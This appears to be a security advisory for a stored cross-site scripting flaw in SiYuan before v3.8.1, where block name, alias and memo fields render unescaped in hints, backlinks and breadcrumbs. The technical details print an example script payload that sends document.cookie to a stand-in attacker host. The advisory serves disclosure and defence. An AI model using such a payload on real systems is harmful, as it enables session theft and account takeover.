Description

SiYuan before v3.8.1 fails to properly escape block name, alias, and memo fields in hint, backlink, and breadcrumb rendering functions. Attackers can set a block's name to contain HTML/script tags that execute when another user views documents referencing or displaying that block.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "8.9",
  "pubDate": "2026-08-30T15:16:46.173Z",
  "pubdate": "2026-08-30T15:16:46.173Z",
  "executiveSummary": "This vulnerability is a Stored Cross-Site Scripting (XSS) flaw identified in SiYuan versions prior to v3.8.1. The issue arises from the application's failure to perform adequate input sanitization or output encoding on user-controlled metadata fields associated with document blocks.\nSpecifically, the block name, alias, and memo fields are rendered without proper escaping within the hint, backlink, and breadcrumb interface components. This allows an authenticated attacker to inject arbitrary HTML and JavaScript payloads into these fields. When a victim views a document that references or displays these compromised blocks, the malicious script executes within the context of the victim's session.\nThe risk implication is significant, as successful exploitation enables attackers to perform unauthorized actions on behalf of the victim, steal session tokens, or exfiltrate sensitive data contained within the application. The vulnerability requires the attacker to have the ability to create or edit block metadata, making it a critical concern for multi-user SiYuan deployments where document collaboration occurs.",
  "technicalDetails": "The root cause of this vulnerability is improper output handling within the SiYuan rendering engine. The application fails to implement context-aware output encoding for specific metadata fields—namely 'block name', 'alias', and 'memo'—before these strings are injected into the Document Object Model (DOM) during the rendering of hints, backlinks, and breadcrumbs.\nThe attack flow proceeds as follows: First, an attacker with write access to a document modifies the metadata of a specific block (e.g., setting the 'alias' or 'name' attribute) to contain a malicious payload, such as '<script>fetch('https://attacker.com/log?cookie='+document.cookie)</script>'. Because the application stores this data in its database without performing server-side sanitization or validation, the payload is persisted as part of the block's metadata.\nSubsequently, when another user navigates to a document that references the poisoned block, or performs an action that triggers the rendering of a backlink or breadcrumb associated with that block, the SiYuan frontend retrieves the malicious payload from the database. The affected component then renders this raw input directly into the browser's DOM.\nThe browser interprets the injected script tags as legitimate instructions rather than plain text, resulting in the execution of the payload within the security context of the origin. This occurs without requiring the victim to interact directly with the malicious block; simple document viewing is sufficient to trigger the execution.\nBecause the payload executes within the victim's session, the attacker can leverage the browser's current authentication state to execute unauthorized requests, manipulate the document content, or exfiltrate private user information stored in the application's local or session storage. This vulnerability affects all SiYuan versions prior to v3.8.1 and represents a failure to adhere to secure coding practices regarding dynamic content injection and XSS mitigation."
}